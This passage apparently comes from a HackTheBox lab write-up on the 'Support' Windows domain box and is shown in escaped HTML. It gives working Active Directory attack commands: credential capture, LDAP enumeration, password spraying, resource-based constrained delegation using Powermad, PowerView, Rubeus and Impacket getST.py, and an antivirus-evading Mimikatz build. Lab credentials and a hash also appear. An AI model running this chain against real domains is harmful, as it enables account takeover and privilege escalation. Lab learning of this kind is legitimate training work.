rel="noopener"&#10; &gt;https://askubuntu.com/questions/644236/mono-does-not-appear-to-be-installed-error-winetricks&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Using these two guides together solved the problem.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0723.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It worked normally now.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;responder -I tun0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wine UserInfo.exe -v find -first admin&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0724.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0725.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;On Kali, both Wireshark and Responder captured it without any problem. I had no idea why I could not capture it on Windows. Even when the domain pointed to the real IP, 10.10.11.174,&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0726.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;the traffic was still unencrypted and could be captured. Yet when I tried this on Windows at the start, it simply never worked.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0727.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0728.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Nothing special here either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0729.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;WinRM did not work.&lt;/p&gt;&#10;&lt;p&gt;It seemed that I could only query LDAP. I could check whether any service accounts had SPNs, which might provide a foothold.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetUserSPNs.py support.htb/ldap:&amp;#34;nvEfEK16^1aM4\$e7AclUf8x\$tRWxPWO1%lmz&amp;#34; -dc-ip 10.10.11.174 -request&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0730.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Nothing turned up. I checked whether LDAP could reveal a few more users, then planned to spray the password I had just found against them.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -x -H ldap://support.htb:389 -D &amp;#34;CN=ldap,CN=Users,DC=support,DC=htb&amp;#34; -w &amp;#34;nvEfEK16^1aM4\$e7AclUf8x\$tRWxPWO1%lmz&amp;#34; -b &amp;#34;DC=support,DC=htb&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -x -H ldap://support.htb:389 -D &amp;#34;CN=ldap,CN=Users,DC=support,DC=htb&amp;#34; -w &amp;#34;nvEfEK16^1aM4\$e7AclUf8x\$tRWxPWO1%lmz&amp;#34; -b &amp;#34;DC=support,DC=htb&amp;#34; | grep -iE &amp;#34;mail&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0731.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I collected these accounts, but there was no real difference from what the program above had returned.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec smb support.htb -u 1.txt -p &amp;#34;nvEfEK16^1aM4\$e7AclUf8x\$tRWxPWO1%lmz&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0732.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No result. On the previous box, I noticed that many write-ups pasted the box description at the beginning, and those descriptions sometimes contained useful information. I was stuck here, so I went to read the description.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0733.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That gave me an idea, although it felt like far too much of a spoiler—almost no different from reading a write-up. Still, I suppose this was one possible line of thought. The main goal was to learn the approach and the techniques.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0734.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;If I had looked carefully, I could actually have spotted it. This user&amp;rsquo;s information had no mail field, the username did not contain a period, and the LDAP query did not return it alongside entries like the ones above. So you really do need to inspect everything carefully.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;support:Ironside47pleasure40Watchful&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec winrm support.htb -u support -p Ironside47pleasure40Watchful&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;evil-winrm -i support.htb -u support -p Ironside47pleasure40Watchful&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bloodhound-python -d support.htb -u support -p Ironside47pleasure40Watchful -ns 10.10.11.174 -c all&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0735.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0736.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I loaded the data into BloodHound to take a look.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0737.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I checked the help to see whether this could be exploited directly.&lt;/p&gt;&#10;&lt;p&gt;The tutorial did not recommend its first method, but it was still potentially usable.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net user Administrator Password123! /domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0738.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That produced an error, so I decided to use the second method it recommended.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# First, upload PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;upload ../../PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$UserPassword = ConvertTo-SecureString &amp;#39;Password123!&amp;#39; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0739.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, I could not change the password. This path was a dead end.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0740.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;While exploring this route, I found that the current user had GenericAll over the Domain Admins group. I tried a method I found online:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.hackingarticles.in/abusing-ad-dacl-generic-all-permissions/" target="_blank" rel="noopener"&#10; &gt;https://www.hackingarticles.in/abusing-ad-dacl-generic-all-permissions/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;That failed too because I did not have enough privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0741.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0742.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I never expected the path to look like this.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0743.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found it by following the hint. But when I tried SUPPORT as the starting point and DC.SUPPORT.HTB as the destination, this path did not appear. It also did not appear when I pointed it at administrator. At least I learned another method: in the future, I can use the current user&amp;rsquo;s group as the starting point and map a path to administrator.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0744.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I started reading the help. Since it was all in English, I also found a blog on Google and used the two together.&lt;/p&gt;&#10;&lt;p&gt;It mentioned that resource-based constrained delegation was possible here. First, I prepared the following files and uploaded them to the target.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Powermad.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/GhostPack/Rubeus/releases/tag/1.6.4 Must be compiled manually&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;First, I created a computer account controlled by the current account. This required importing Powermad.ps1.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;. .\Powermad.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString &amp;#39;Summer2018&amp;#39; -AsPlainText -Force)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Then I imported PowerView.ps1 and retrieved the new computer account&amp;rsquo;s SID.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;. .\PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Next, I needed to use the SID of the computer added by the attacker as the principal, construct a generic ACE, and obtain the binary bytes of the new DACL/ACE. I did not fully understand the underlying mechanics of this step, so I would have to take it slowly. I had actually used resource-based constrained delegation on FOREST before and even took notes, but I had forgotten how it worked. This was a good chance to review it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList &amp;#34;O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$SDBytes = New-Object byte[] ($SD.BinaryLength)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$SD.GetBinaryForm($SDBytes, 0)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainComputer dc.support.htb | Set-DomainObject -Set @{&amp;#39;msds-allowedtoactonbehalfofotheridentity&amp;#39;=$SDBytes} -Verbose&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainComputer support -Properties msds-allowedtoactonbehalfofotheridentity | select -ExpandProperty msds-allowedtoactonbehalfofotheridentity&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\Rubeus.exe hash /password:Summer2018&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\Rubeus.exe hash /password:Summer2018 /user:attackersystem /domain:support.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;According to the tutorial, this step should have given me the RC4 hash, but I got no output at all.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0745.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Absolutely nothing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0746.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It produced output on Kali. If I could not use this to obtain the RC4 hash, I would not be able to exploit the delegation.&lt;/p&gt;&#10;&lt;p&gt;I uploaded Mimikatz, but after the upload completed, I noticed that it had disappeared.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0747.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That confirmed it: antivirus was running on the target. It immediately killed the Mimikatz binary I uploaded, and that was also why Rubeus.exe had never run successfully.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/wangfly-me/mimikatz_bypass/releases/tag/v1.0" target="_blank" rel="noopener"&#10; &gt;https://github.com/wangfly-me/mimikatz_bypass/releases/tag/v1.0&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I used the antivirus-bypass version from that repository. RC4 here was effectively the NTLM hash, so I hashed the password I had created.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0748.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;7f4f718d5029000926a9278c5cfd0872&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The next step in the tutorial was to request an ST, but the command below still did not work.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\Rubeus.exe s4u /user:attackersystem$ /rc4:7f4f718d5029000926a9278c5cfd0872 /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Mimikatz did not work either.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; .\code_x64.exe &amp;#34;kerberos::ptt /user:attackersystem$ /domain:support.htb /rc4:7f4f718d5029000926a9278c5cfd0872 /target:cifs/dc.support.htb /impersonate:administrator&amp;#34; &amp;#34;exit&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;There was still another way. I had already reached the final step of obtaining the ST, and geST.py matched exactly what I needed. I could access ports 88 and 389 on the target, so Impacket was a good option at this point.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpdate -u support.htb &amp;amp;&amp;amp; date&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;getST.py -spn cifs/dc.support.htb -impersonate administrator support.htb/attackersystem$:Summer2018&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0749.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It finally worked. That was painful. I started importing the ticket using the same method I had documented before.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;export 